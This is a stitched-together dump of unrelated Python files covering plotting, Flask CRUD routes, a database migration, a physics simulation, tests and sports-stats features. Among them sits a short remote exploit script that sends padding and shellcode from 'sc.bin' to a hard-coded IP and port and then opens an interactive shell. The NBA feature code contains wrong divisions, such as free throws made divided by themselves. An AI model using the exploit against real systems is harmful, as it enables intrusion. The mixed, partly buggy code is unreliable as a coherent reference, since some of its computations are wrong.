    def pandatable(self):
        """
        Return a DataFrame.
        """
        pandatable = pd.DataFrame(char_desc(self.mac), columns = ["Handles", "UUIDs"])
        pandatable["Values"] = [(char_read(self.mac,x)) for x in pandatable["Handles"]]
        pandatable.set_index("Handles", inplace=True)
        return(pandatable)


import sys
def get_ints(): return map(int, sys.stdin.readline().strip().split())
def get_ls(): return list(map(int, sys.stdin.readline().strip().split()))

def main():
    for _ in range(int(input())):
        a, b, c, d = get_ints()
        if a==d:
            print(a)
        elif a <= c <= b:
            print(c)
        elif a < c and b < c:
            print(a+c)
        elif a>c and b>c:
            if c < d and a < d:
                print(a)
            elif c < d and a > d:
                print(a+c)
            else:
                print(a+c)

if __name__ == "__main__":
    main()


#!/usr/bin/python3
# -*- coding: UTF-8 -*-

"""
  This script shows the evolution with the electric field of the spectrum and
  some other properties.
  Default: only spectrum (faster)
  Other quantities:
     - [P] layer/sublattice polarization
     - [G] gap
     - [E0] in-gap energy
     X- [A] Hyperfine   # not yet
"""

import os
import numpy as np
import matplotlib.pyplot as plt
plt.style.use('mystyle')
import matplotlib.gridspec as gridspec

from tqdm import tqdm
import mwe_exchange as ex

## Plot hyperfine & gap ########################################################
def plot_exchange(e):
   print('Plotting spectrum for E=',e)
   print('... Please wait a few moments')
   ffol = fol+'e%s/'%(e)
   com = 'python3 mwe_exchange.py %s &'%(ffol)
   os.system(com)

def picker_wrapper(maxd=0.075):
   def picker(line, Mevent):
      """
      find the points within a certain distance from the mouseclick in
      data coords and attach some extra attributes, pickx and picky
      which are the data points that were picked
      """
      if Mevent.xdata is None:
         return False, dict()
      x0 = line.get_xdata()
      y0 = line.get_ydata()
      d = np.sqrt((x0 - Mevent.xdata)**2. + (y0 - Mevent.ydata)**2.)
      #ind = np.nonzero(np.less_equal(d, maxd))
      ind = (np.argmin(d),)
      if len(ind):
         pickx = np.take(x0, ind)
         picky = np.take(y0, ind)
         props = dict(ind=ind, pickx=pickx, picky=picky)
         return True, props
      else:
         return False, dict()
   return picker

def onpick_wrapper(plot):
   def onpick(event):
      try:
         elec = event.pickx[0]
         plot(elec)
      except IndexError: pass   #print('no data selected')
   return onpick

my_onpick = onpick_wrapper(plot_exchange)
my_picker = picker_wrapper()
################################################################################

import sys
try: fols = sys.argv[1:]
except IndexError:
   print('Folder not specified')
   exit()

# Datos
for fol in fols:
   if fol[-1] != '/': fol += '/'
   n = int(fol.split('/')[-5].split('_')[0].replace('n',''))
   f_data = open(f'pol_elec_n{n}.dat','w')
   f_spec = open(f'spec_n{n}.dat','w')
   folders = []
   for a in os.walk(fol):
      folders.append( a[0]+'/' )
   folders = folders[1:]
   folders = sorted(folders,key=lambda x: float(x.split('/')[-2][1:]))
   #folders = folders[::2][::2][::2]

   X,P,L,G,GP,Gg,E0,LC,LC90 = [],[],[],[],[],[],[],[],[]
   IPRt,IPRb = [],[]
   Xplt,Yplt,YPplt = [],[],[]
   for f in tqdm(folders):
      try: A = ex.Spectrum(f)
      except FileNotFoundError:
         print('ERROR reading:',f)
         continue
      for e,ep in zip(A.E,A.Ep):
         Xplt.append(A.elec)
         Yplt.append(e)
         YPplt.append(ep)
      X.append(A.elec)
      P.append(A.SP)
      L.append(A.LP)
      G.append(A.gap)
      GP.append(A.gapP)
      try: Gg.append( abs(A.E_ingap[0]-A.E_ingap[1]) )
      except: pass
      E0.append(A.E_ingap)
      LC.append(A.lc)
      LC90.append(A.lc90)
      cl = np.mean(A.pos[:,2])
      LAYS = np.where(A.pos[:,2]>cl,1,-1)[A.Ba.n]  #
      v = A.V_ingap
      v = v*np.conj(v)
      v = v.flatten()
      vt = v[LAYS>cl]
      vb = v[LAYS<cl]
      IPR = 0.0
      for iv in vt:
         IPR += iv*iv*iv*iv
      IPRt.append(IPR)
      IPR = 0.0
      for iv in vb:
         IPR += iv*iv*iv*iv
      IPRb.append(IPR)
   mx,Mx = np.min(X), np.max(X)

   s = '   '
   f_data.write('#elec   SP   LP   GP   G   E0   LC   LC90   IPRt   IPRb   split\n')
   #for e,p,l,g,e0,lc,lc90,iprt,iprb,gg in zip(X,P,L,G,E0,LC,LC90,IPRt,IPRb,Gg):
   for e,p,l,gp,g,e0,lc,lc90,iprt,iprb in zip(X,P,L,GP,G,E0,LC,LC90,IPRt,IPRb):
      f_data.write(f'{e}   {p[0]}   {l[0]}   {gp}   {g}   {e0[0]}   {lc[0]}')
      f_data.write(f'   {lc90[0]}   {iprt}   {iprb}\n')
      #f_data.write(s+ str(gg)+ '\n')
      # f_data.flush()
   f_spec.write('#elec   Ep   E\n')
   for iv,iep,ie in zip(Xplt,YPplt,Yplt):
      f_spec.write(f'{iv}   {iep}   {ie}\n')
      # f_spec.write(str(iv) +s+ str(iep) +s+ str(ie)+'\n')
      # f_spec.flush()

   fig = plt.figure(figsize=(9,10))
   gs = gridspec.GridSpec(5, 1)
   #fig, ax = plt.subplots()
   ax = plt.subplot(gs[0:2, 0])
   ax_P  = plt.subplot(gs[2, 0], sharex=ax)
   ax_G  = plt.subplot(gs[3, 0], sharex=ax)
   ax_E0 = plt.subplot(gs[4, 0], sharex=ax)

   # Spectrum
   ax.plot(Xplt,YPplt,'o',markersize=10,alpha=0.4)
   line, = ax.plot(Xplt,Yplt,'o',picker=my_picker)
   ax.set_ylabel('$E$ $(eV)$')
   ax.set_xlim([mx,Mx])

   # Polarization
   P = np.array(P)
   L = np.array(L)
   for i in range(P.shape[1]):
      iP = P[:,i]
      iL = L[:,i]
      l, = ax_P.plot(X,iP,lw=2,label='subla')
      ax_P.plot(X,iL,color=l.get_color(),ls='--',lw=2,label='layer')
   ax_P.set_ylabel('Polarization')
   ax_P.set_ylim([-1,1])
   ax_P.set_xlim([mx,Mx])
   ax_P.legend()

   # Gap
   ax_G.plot(X,G,lw=2)
   try:
      ax_G1 = ax_G.twinx()
      ax_G1.plot(X,Gg,'C1',lw=2)
      ax_G1.grid()
   except: pass
   ax_G.set_ylabel('$\Delta$ $(eV)$')
   ax_G.set_xlim([mx,Mx])

   # In-gap Energies
   ax_E0.plot(X,LC90,lw=2)
   ax_E0.set_ylabel('$l_c$ $(\AA)$')
   ax_E0.set_xlim([mx,Mx])

   fig.canvas.mpl_connect('pick_event', my_onpick)
   fig.tight_layout()
   f_data.close()
   f_spec.close()

import matplotlib.pyplot as plt
fig, ax = plt.subplots()
ax.plot(X,IPRt) #,label='top')
ax1 = ax.twinx()
ax1.plot(X,IPRb,'C1',label='bottom')

print('**')
print(np.min(IPRt), np.max(IPRt))
print(np.min(IPRb), np.max(IPRb))
ax.legend()
ax.set_xlim([min(X),max(X)])
ax.ticklabel_format(style='sci',scilimits=(-3,4),axis='y')
ax.set_ylabel('$IPR$ $top$',fontsize=20)
ax1.set_ylabel('$IPR$ $bottom$' ,fontsize=20,color='C1')
ax1.tick_params('y', colors='C1')
ax.set_xlabel('$E$ $(eV)$',fontsize=20)
fig.tight_layout()
plt.show()


"""empty message

Revision ID: b61d4a1d56a7
Revises:
Create Date: 2022-02-13 19:21:42.196543

"""
from alembic import op
import sqlalchemy as sa

# revision identifiers, used by Alembic.
revision = 'b61d4a1d56a7'
down_revision = None
branch_labels = None
depends_on = None

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_table('member',
    sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),
    sa.Column('username', sa.String(), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_table('sheet',
    sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),
    sa.Column('sheet_name', sa.String(), nullable=True),
    sa.Column('member_id', sa.Integer(), nullable=True),
    sa.ForeignKeyConstraint(['member_id'], ['member.id'], ),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_table('item',
    sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),
    sa.Column('item_name', sa.String(), nullable=True),
    sa.Column('sheet_id', sa.Integer(), nullable=True),
    sa.ForeignKeyConstraint(['sheet_id'], ['sheet.id'], ),
    sa.PrimaryKeyConstraint('id')
    )
    # ### end Alembic commands ###

def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_table('item')
    op.drop_table('sheet')
    op.drop_table('member')
    # ### end Alembic commands ###


from flask import Flask, render_template, session, flash, request
from principal import *
import formulariosProveedor

@app.route('/addClienteEmp', methods=['GET', 'POST'])
def addClienteEmp():
    if session['privilegios'] != 'ADMINISTRADOR':
        return render_template('login.html')

    form_empresa = formulariosProveedor.formProveedor(request.form)

    if request.method == 'POST' and form_empresa.validate():
        CLIENTEEMP.insert({
            'rut': form_empresa.rut.data,
            'nombre': form_empresa.nombre.data,
            'ciudad': form_empresa.ciudad.data,
            'comuna': form_empresa.comuna.data,
            'correo':form_empresa.correo.data,
            'nombreContacto': form_empresa.nombreContacto.data,
            'celularContacto': form_empresa.celularContacto.data
        })
        flash('Empresa cliente ingresada correctamente')
        return render_template('index.html')

    return render_template('registrarClienteEmp.html', form=form_empresa, accion='Registrar')

@app.route('/editClienteEmp/<rutModificar>', methods=['GET', 'POST'])
def editClienteEmp(rutModificar):
    if session['privilegios'] != 'ADMINISTRADOR':
        return render_template('login.html')

    form_empresa = formulariosProveedor.formProveedor(request.form)
    ponerDatosOriginales = True

    if request.method == 'POST':

        form_empresa.rut.data = rutModificar
        form_empresa.nombre.data = request.form['nombre']
        form_empresa.ciudad.data = request.form['ciudad']
        form_empresa.comuna.data = request.form['comuna']
        form_empresa.correo.data = request.form['correo']
        form_empresa.nombreContacto.data = request.form['nombreContacto']
        form_empresa.celularContacto.data = request.form['celularContacto']
        ponerDatosOriginales = False

        if form_empresa.validate():
            PROVEEDORES.update_one({"rut": rutModificar}, {"$set": {
                'nombre': request.form['nombre'],
                'ciudad': request.form['ciudad'],
                'comuna': request.form['comuna'],
                'correo': request.form['correo'],
                'nombreContacto': request.form['nombreContacto'],
                'celularContacto': request.form['celularContacto']
            }})
            flash('Los datos de la Empresa se actualizaron correctamente.')
            return render_template('index.html')

    if ponerDatosOriginales:
        output = CLIENTEEMP.find_one({"rut": rutModificar})

        form_empresa.rut.data = rutModificar
        form_empresa.nombre.data = output['nombre']
        form_empresa.ciudad.data = output['ciudad']
        form_empresa.comuna.data = output['comuna']
        form_empresa.correo.data = output['correo']
        form_empresa.nombreContacto.data = output['nombreContacto']
        form_empresa.celularContacto.data = output['celularContacto']

    return render_template('registrarProveedor.html', form=form_empresa, accion='Modificar')

@app.route('/deleteClienteEmp/<rutEliminar>')
def deleteClienteEmp(rutEliminar):
    if session['privilegios'] != 'ADMINISTRADOR':
        return render_template('login.html')

    CLIENTEEMP.delete_one({ 'rut': rutEliminar })
    flash('Empresa Cliente eliminada Correctamente')
    return render_template('index.html')

@app.route('/listClienteEmp', methods=['GET', 'POST'])
def listClienteEmp():

    output = CLIENTEEMP.find()
    return render_template('listarClienteEmp.html', empresas=output)


#!/usr/bin/env python3

from __future__ import division
from vpython import *
import vpython as vp
import numpy as np
from time import sleep

UNIT = 1.0
NORM = 1.0
SCALE_UP = 1.300
SCALE_DW = 0.300

class Universe:
    def __init__(self):

        self.viewScene()
        self.cartAxis()

    def viewScene(self):
        """ Canvas Scene """
        scene = vp.canvas(
                    title = "Bouncing Ball",
                    x = 0, y = 0,
                    width = 1600, height = 900,
                    ambient = color.gray(0.2),      # Color of non-directional/ambient light
                    background = color.black,       # Color to fill the canvas
                    center = vector(0, 0, 0),
                    fillscreen = True,
                    resizable = True,
                    visible = True,
                )

    def cartAxis(self):
        """ Cartesian Coordinates """
        xaxis = cylinder(pos=vector(0, 0, 0), axis=vector(1, 0, 0), radius=0.01, length=UNIT )
        yaxis = cylinder(pos=vector(0, 0, 0), axis=vector(0, 1, 0), radius=0.01, length=UNIT )
        zaxis = cylinder(pos=vector(0, 0, 0), axis=vector(0, 0, 1), radius=0.01, length=UNIT )
        xlabel = label(text="x-axis", pos=xaxis.axis, font="sans", space=xaxis.radius )
        ylabel = label(text="y-axis", pos=yaxis.axis, font="sans", space=yaxis.radius )
        zlabel = label(text="z-axis", pos=zaxis.axis, font="sans", space=zaxis.radius )

class Assets(Universe):
    def __init__(self):
        Universe.__init__(self)

        self.ball = sphere(
                    pos = vector(0.5, 2*UNIT, 0.5),
                    color = color.red,
                    radius = 0.1,
                )

        self.floor = box(
                    pos = vector(0, 0, 0),
                    color = color.green,
                    size = vector(2*UNIT, 0.01, 2*UNIT)
                )

class InitialConditions(Assets):
    def __init__(self):
        """ Setting up initial conditions """
        Assets.__init__(self)

        self.g = vector(0, -9.8, 0)
        self.dt = 0.01
        self.t = 0

        self.rho = 2.25
        self.coeff = 0.75       # drag coefficient

        self.beta = 0.200

        self.ball.mass = 0.250
        self.ball.initVelocity = vector(0, 0, 0)
        self.ball.finVelocity = self.ball.initVelocity + ( self.g * self.t )    # v = u + at
        self.ball.momentum = self.ball.mass * self.ball.finVelocity
        self.ball.kinetic = ( mag(self.ball.momentum)**2 ) / (2 * self.ball.mass)
        self.ball.potential = self.ball.mass * mag(self.g) * ( self.ball.pos.y - self.floor.pos.y )
        self.ball.weight = self.ball.mass * self.g

        self.contactArea = 2 * np.pi * self.ball.radius**2

class Events(InitialConditions):
    def __init__(self):
        """ Physics Phenomena Simulation """
        InitialConditions.__init__(self)

        trail = curve(color=color.white)
        posgraph = gcurve(color=color.cyan)
        pvector = arrow(pos=self.ball.pos, axis=self.ball.momentum)
        sleep(2)
        print("Time\tKinetic\tPotential\t")

        while ( self.t < 20 ):
            rate(60)
            trail.append(pos=self.ball.pos, retain=2)
            posgraph.plot(pos=(self.t, self.ball.pos.y))
            pvector.pos = self.ball.pos
            pvector.axis = self.ball.momentum * SCALE_DW

            if mag(self.ball.momentum) == 0:
                NORM = 1.0
            elif mag(self.ball.momentum) != 0:
                    NORM = 0.0
            # force due to resistive friction/drag of atmosphere
            self.fdrag = - ( 0.5 * self.coeff * self.rho * self.contactArea *
                                        mag(self.ball.momentum/self.ball.mass)**2 *
                                        (self.ball.momentum/( mag(self.ball.momentum) + NORM)) )
            # force that causes energy losses as sound, heat, deformation
            self.fdump = - (self.beta * (self.ball.momentum/self.ball.mass) )
            # net force acting on the ball
            self.fnet = self.ball.weight + self.fdrag + self.fdump

            # Update Ball's porperties
            self.ball.pos += ((self.ball.momentum/self.ball.mass) * self.dt)
            self.ball.momentum += ( self.fnet * self.dt )
            self.ball.kinetic = ( mag(self.ball.momentum)**2 ) / (2 * self.ball.mass)
            self.ball.potential = self.ball.mass * mag(self.g) * ( self.ball.pos.y - self.floor.pos.y )
            self.t += self.dt

            # Change direction upon a bounce
            if ( self.ball.pos.y < (self.floor.pos.y + self.ball.radius) ):
                self.ball.momentum.y = -self.ball.momentum.y

            print("{}s\t{}J\t{}J\t{}m".format(self.t, self.ball.kinetic, self.ball.potential, self.ball.pos.y))

Events()


"""External task that waits for SIP validation in DPS."""
import os
from datetime import datetime, timedelta, timezone

import dateutil.parser
from siptools_research.config import Configuration
from siptools_research.remoteanytarget import RemoteAnyTarget
from siptools_research.utils.database import Database
from siptools_research.workflow.send_sip import SendSIPToDP
from siptools_research.workflowtask import WorkflowExternalTask

class ValidateSIP(WorkflowExternalTask):
    """External task that completes when SIP has been validated.

    The SIP is validated when ingest report is available in ~/rejected/
    or ~/accepted/ directories in digital preservation system.

    Task requires that SIP is sent to digital preservation service.
    """

    def requires(self):
        """List the Tasks that this Task depends on.

        :returns: SendSIPToDP task
        """
        return SendSIPToDP(workspace=self.workspace,
                           dataset_id=self.dataset_id,
                           config=self.config)

    def output(self):
        """Return the output target of this Task.

        :returns: remote target that may exist on digital preservation
                  server in any path formatted::

                      ~/accepted/<datepath>/<document_id>.tar/
                      ~/rejected/<datepath>/<document_id>.tar/

                  where datepath is any date between the date the SIP
                  was sent to the server and the current date.

        :rtype: RemoteAnyTarget
        """
        conf = Configuration(self.config)
        database = Database(self.config)

        # Get SendSIPToDP completion datetime or use the current UTC
        # time. This is necessary since ValidateSip output is checked
        # first time before any of the dependencies are ran.
        # Dependencies are ran only if ValidateSip task is not
        # completed.
        try:
            send_timestamp = database.get_task_timestamp(
                self.document_id, "SendSIPToDP"
            )
            sip_to_dp_date = dateutil.parser.parse(send_timestamp).date()
        except (ValueError, KeyError):
            sip_to_dp_date = datetime.now(timezone.utc).date()

        lim_date = datetime.today().date()

        paths = []
        while sip_to_dp_date <= lim_date:
            paths.append(
                os.path.join(
                    f'accepted/{sip_to_dp_date}/{self.document_id}.tar'
                )
            )
            paths.append(
                os.path.join(
                    f'rejected/{sip_to_dp_date}/{self.document_id}.tar'
                )
            )
            sip_to_dp_date += timedelta(days=1)

        return RemoteAnyTarget(
            paths,
            host=conf.get('dp_host'),
            port=int(conf.get('dp_port')),
            username=conf.get('dp_user'),
            keyfile=conf.get('dp_ssh_key')
        )


"""A system service to check whether the system is idle."""

from json import load
from logging import getLogger
from pathlib import Path
from subprocess import CalledProcessError, check_call
from sys import argv

__all__ = ['main']

CONFIG_FILE = Path('/etc/idlechk.json')
LOGGER = getLogger(Path(argv[0]).name)

def log_info(what, name):
    """Logs information abount current actions."""

    if name:
        LOGGER.info('%s: %s.', what, name)
    else:
        LOGGER.info('%s.', what)

def load_config():
    """Loads the configuration."""

    try:
        with CONFIG_FILE.open('r') as file:
            return load(file)
    except FileNotFoundError:
        return ()

def run(action):
    """Runs the respective action."""

    command = action.get('command')

    if isinstance(command, bool):
        return command

    if isinstance(command, list):
        try:
            check_call(command)
        except CalledProcessError:
            return False

        return True

    if isinstance(command, str):
        LOGGER.warning('Running insecure command in shell.')

        try:
            check_call(command, shell=True)
        except CalledProcessError:
            return False

        return True

    raise TypeError('Cannot run command of type %s.' % type(command))

def check_condition(condition):
    """Checks the respective condition."""

    name = condition.get('name')
    log_info('Checking condition', name)
    return run(condition)

def run_action(action):
    """Runs the respective action."""

    name = action.get('name')
    log_info('Running action', name)
    return run(action)

def run_check(check):
    """Runs the respective check."""

    name = check.get('name')
    log_info('Running check', name)
    action = check.get('action')

    for condition in check.get('conditions', ()):
        if check_condition(condition):
            if condition.get('sufficient', False):
                LOGGER.info('Sufficient condition succeeded.')
                break
        else:
            if condition.get('necessary', False):
                LOGGER.info('Necessary condition failed.')
                return

    run_action(action)

def main():
    """Runs the respective checks."""

    for check in load_config():
        run_check(check)


import unittest

import numpy

from src.data.normalization.np import StandardNumpyNormalizer
from test.data.normalization._test_base_normalizer import _test_serialization_helper, _test_is_fitted_helper

class TestStandardNumpyNormalizer(unittest.TestCase):
    def setUp(self) -> None:
        super().setUp()
        self.data = numpy.array([
            [1, 123],
            [2, 234],
            [3, 567],
            [4, 890],
        ])
        self.normalizer = StandardNumpyNormalizer()

    def test_init(self):
        _test_is_fitted_helper(self, self.normalizer, False)

    def test_fit_data(self):
        self.normalizer.fit(self.data)
        _test_is_fitted_helper(self, self.normalizer, True)
        self.assertTrue(numpy.allclose(self.normalizer.mu, [2.5, 453.5]))
        self.assertTrue(numpy.allclose(self.normalizer.sigma, [1.1180339887499, 300.34355328523]))

class TestStandardNumpyNormalizerSerializability(unittest.TestCase):
    def setUp(self) -> None:
        super().setUp()
        self.data = numpy.array([
            [1, 2, 3],
            [2, 3, 4]
        ])
        self.normalizer = StandardNumpyNormalizer()

    def test_serialization(self):
        loaded_normalizer = _test_serialization_helper(self, self.normalizer, self.data)
        assert isinstance(loaded_normalizer, StandardNumpyNormalizer)

        self.assertTrue(numpy.allclose(self.normalizer.sigma, loaded_normalizer.sigma))
        self.assertTrue(numpy.allclose(self.normalizer.mu, loaded_normalizer.mu))

if __name__ == '__main__':
    unittest.main()


#!/usr/bin/env python

import socket
import struct
import time
import telnetlib

ADDR = "localhost"
PORT = 8888

ADDR = "210.71.253.109"
PORT = 9123
s = socket.create_connection((ADDR, PORT))

buf = "A" * (0x100)
s.send(str(len(buf)).rjust(8, "0"))

s.send("\x00" * 256 + open("sc.bin","r").read().ljust(256, "A"))

t = telnetlib.Telnet()
t.sock = s
t.interact()


# Assignment 7-5; Movie Tickets
# Write a loop in which you ask users their age, and tell them the cost of the movie

print('Welcome to the movie theater, all tickets are the same price based on age.')

active = True
while active:
    age = input('Do tell me, what is your age?')

    if age.isnumeric():

        if int(age) < 3:
            print('Free movie for the young bloods!')
            break

        elif int(age) >= 3 and int(age) <12:
            print('That will be ten dollars, U.S. of course.')
            break

        elif int(age) >= 12:
            print('Dang, you are pretty old, that will be fifteen..')
            break
    else:
        print('Jeez.. This again?')
        continue


import nba.domain as domain

from typing import List

tracked_stats = ["wins", "scored", "allowed", "date", "fg%", "tp%", "ft%", "rebs", "assists", "turnovers", "streak"]
GAMES_TO_ROLL = 20
STREAK_NUMBER = 10

def get_label_column_names():
	return ["year", "date", "counter", "away", "home", "home_win"]

def get_feature_column_names():
	return ["away_pct", "home_pct", "away_diff", "home_diff", "away_tpm", "home_tpm", "away_todiff", "home_todiff", "away_rebs", "home_rebs", "away_streak", "home_streak"]

def get_line_column_names():
	return ["line_team", "line_spread", "spread_correct", "spread_covered"]

def get_data_header():
	combined = get_label_column_names() + get_feature_column_names() + get_line_column_names()
	return ",".join(combined)

def to_stats_home(rd:domain.NBAGame):
	for_streak = rd.home_win
	if for_streak == 0:
		for_streak = -1

	return [
		rd.home_win,
		rd.home_pts,
		rd.away_pts,
		rd.date,
		rd.home_fgm/rd.home_fga,
		rd.home_tpm/rd.home_tpa,
		rd.home_ftm/rd.home_fta,
		rd.home_oreb + rd.home_dreb,
		rd.home_assists,
		rd.home_turnovers,
		for_streak,
	]

def to_stats_away(rd:domain.NBAGame):
	if rd.away_fga == 0:
		print("zero fga",rd.date,rd.away_pts,rd.home_pts)

	for_streak = 1 - rd.home_win
	if for_streak == 0:
		for_streak = -1

	return [
		1 - rd.home_win,
		rd.away_pts,
		rd.home_pts,
		rd.date,
		rd.away_fgm/rd.away_fga,
		rd.away_tpm/rd.home_tpa,
		rd.away_ftm/rd.away_ftm,
		rd.away_oreb + rd.away_dreb,
		rd.away_assists,
		rd.away_turnovers,
		for_streak,
	]

def add_to_stats(stats, rd):

	def add_to_stats_internal(stats, team, to_add):

		if team not in stats:
			stats[team] = dict([(x,[]) for x in tracked_stats])

		for idx,s in enumerate(tracked_stats):
			stats[team][s].append(to_add[idx])

	add_to_stats_internal(stats, rd.home, to_stats_home(rd))
	add_to_stats_internal(stats, rd.away, to_stats_away(rd))

def calc_features(stats, game_info):

	home_pct, home_pts, home_allowed, home_games, home_fg, home_tp, home_ft, home_rebs, home_assists, home_turnovers, home_streak = __calc_features__(stats, game_info.home, game_info.date)
	away_pct, away_pts, away_allowed, away_games, away_fg, away_tp, away_ft, away_rebs, away_assists, away_turnovers, away_streak = __calc_features__(stats, game_info.away, game_info.date)

	return [
		away_pct,
		home_pct,
		away_pts - away_allowed,
		home_pts - home_allowed,
		away_tp,
		home_tp,
		away_assists - away_turnovers,
		home_assists - home_turnovers,
		away_rebs,
		home_rebs,
		away_streak,
		home_streak
	]

def number_of_games_within_date(dates, date, number_of_days):
	number_of_games = 0
	# print(dates)
	for d in dates[-5:]:
		if (date - d).days <= number_of_days:
			number_of_games += 1
	return number_of_games

def __calc_features__(stats, team, date):

	def do_calculation(team_stats, stat):
		if stat == "date":
			return number_of_games_within_date(team_stats[stat], date, 1)

		if stat == "streak":
			streak = 0

			recent_outcomes = team_stats[stat][-STREAK_NUMBER:]
			recent_outcomes.reverse()

			current = recent_outcomes[0]

			for w in recent_outcomes:
				if w == current:
					streak = streak + current
				else:
					break

			return streak

		return sum(team_stats[stat][-GAMES_TO_ROLL:]) / len(team_stats[stat][-GAMES_TO_ROLL:])

	team_stats = stats[team]

	return tuple([do_calculation(team_stats, x) for x in tracked_stats])


from visualization import plot_util as pu
import matplotlib as mpl
# mpl.style.use('seaborn')

# LOG_DIRS = 'logs/halfcheetah'
# Uncomment below to see the effect of the timit limits flag

# FNN (warehouse)
# LOG_DIRS = 'results-taylan/ware/fnn/results/1_8' # FNN result 8 cores VIR
# LOG_DIRS = 'ware/fnn/results/2' # FNN result 1 core VIR

# CNN (pong)
# LOG_DIRS = 'results-taylan/pong/cnn/results/2' # CNN result 8 cores TAY

# FNN + RNN (warehouse, series)
# LOG_DIRS = 'ware/fnn/results/1' # FNN result 8 cores VIR
# LOG_DIRS = 'ware/fnn/results/2' # FNN result 1 core VIR

# FNN + RNN (warehouse, parallel)
# LOG_DIRS = 'results-taylan/ware/fnnrnnp/results/1' # FNN result 8 cores TAY
# LOG_DIRS = 'results-taylan/ware/fnnrnnp/results/2' # FNN result 1 core TAY

# CNN + RNN (pong, series)
# LOG_DIRS = 'results-kevin/pong/CNNRNN/results/1' # CNN + RNN Series result 8
# cores KEV

# CNN + RNN (pong, parallel)
# LOG_DIRS = 'results-taylan/pong/cnn/results/1' # CNN + RNN Parallel result 8
# cores
# TAY
selected_env = 'ware'
if selected_env == 'ware':
    color = ['red', 'firebrick', 'green', 'chartreuse', 'black', 'blue',
              'royalblue']
elif selected_env =='pong':
    color = ['red','green','blue']

# GROUPED UP
# LOG_DIRS = 'results-taylan/ware/fnnrnnp/results/1'
if selected_env=='ware':
    LOG_DIRS = 'together/ware'
else:
    LOG_DIRS = 'together/pong'
# LOG_DIRS = 'together_cores_seperated/ware'
results = pu.load_results(LOG_DIRS)

fig = pu.plot_results(results, average_group=True, split_fn=lambda _: '',
                      shaded_std=False,COLORS=color,select_env=selected_env,
                      xlabel='Steps', ylabel='Average Reward',legend_outside=True)
#%%
import matplotlib.pyplot as plt
import matplotlib

if selected_env == 'ware':
    fig = matplotlib.pyplot.gcf()
    plt.gcf().subplots_adjust(bottom=0.15,top=0.9,left=0.15,right=0.7)
    fig.set_size_inches(30, 30)
    plt.savefig('plot_ware.png', dpi=150)
elif selected_env == 'pong':
    fig = matplotlib.pyplot.gcf()
    plt.gcf().subplots_adjust(bottom=0.15,top=0.9,left=0.15, right=0.3)
    fig.set_size_inches(30, 30)
    plt.savefig('plot_pong.png', dpi=150)
else:
    pass
# LOG_DIRS = 'results-taylan/ware/rnn/results/1_1' # FNN result 8 cores VIR
# LOG_DIRS2 = 'results-taylan/ware/rnn/results/1_8' # FNN result 8 cores VIR
#
# results = pu.load_results(LOG_DIRS)
# results2 = pu.load_results(LOG_DIRS2)
#
# fig1, ax1 = pu.plot_results(results, average_group=True,
#                       split_fn=lambda _:
# '',
#                       shaded_std=True,shaded_err=True,
#                       legend_outside=True, xlabel='Steps',
#                       ylabel='Average Reward')
# fig2, ax2 = pu.plot_results(results, average_group=True,
#                       split_fn=lambda _:
# '',
#                       shaded_std=True,shaded_err=True,
#                       legend_outside=True, xlabel='Steps',
#                       ylabel='Average Reward')

# plt.show()

# # plt.plot(results)
# x = LOG_DIRS.split('/')
# filename = x[1]
# # L = fig.legend()
# # L.get_texts()[0].set_text('FNN (1 core)')

# fig.legend(labels=['FNN (8 core)', 'FNN (1 core)'], bbox_to_anchor=(0.9,0.2), loc="lower right",  bbox_transform=fig.transFigure)
#
# plt.savefig('plot_ware.png', dpi=300, bbox_inches='tight')
# plt.show()


import matplotlib.pyplot as plt
import numpy as np

plt.rcParams['font.family'   ] = 'Times New Roman'
plt.rcParams['axes.linewidth'] = 0.5

def get_elliptical_coord(a, b, phi0, phi1, nphi):
    phi = np.linspace( phi0, phi1, nphi )
    eta = np.arctanh( b/a )
    e   = np.sqrt(a**2 - b**2)
    x   = e * np.cosh(eta) * np.cos(phi)
    y   = e * np.sinh(eta) * np.sin(phi)
    dis = np.sqrt( (x[1]-x[0])**2 + (y[1]-y[0])**2 )
    #print( 'DISTANCE:%.2f[mm]' %(dis*1e+3) )
    return x[1:-1], y[1:-1]

def generate_multilayer(a0, b0, nlayer, d, phi0=0., phi1=np.pi*0.5, nphi=102):
    layer = {'n':np.array([]), 'x':np.array([]), 'y':np.array([])}

    for i in range(nlayer):
        a = a0 + i*d
        b = b0 + i*d
        x, y = get_elliptical_coord( a, b, phi0, phi1, nphi )
        layer['n'] = np.append( layer['n'], i+1 )
        layer['x'] = np.append( layer['x'], x )
        layer['y'] = np.append( layer['y'], y )

    layer['x'] = np.reshape( layer['x'], (nphi-2,nlayer) )
    layer['y'] = np.reshape( layer['y'], (nphi-2,nlayer) )

    return layer

def generate_input_file(filename, x, y, curr=1.0):
    outfile = open( filename, 'w' )

    if x.ndim==2:
        for i in range( len(x) ):
            for j in range( len(x[i]) ):
                outfile.write('%18.9e%18.9e%10.1f\n' %(x[i][j],y[i][j],curr))

    if x.ndim==1:
        for i in range( len(x) ):
            outfile.write('%18.9e%18.9e%10.1f\n' %(x[i],y[i],curr))

    outfile.close()

def plot_points(x, y):
    fig, ax = plt.subplots( 1, 1, figsize=(6,5) )

    if x.ndim==1:
        ax.plot( x, y, 'xy' )

    if x.ndim==2:
        color = plt.cm.viridis(np.linspace(0,1,len(x)))
        for i in range( len(x) ):
            ax.plot( x[i], y[i], '.', c=color[i] )

    ax.set_xlabel('x [m]')
    ax.set_ylabel('y [m]')
    ax.set_aspect('equal')

    plt.tight_layout()
    plt.show()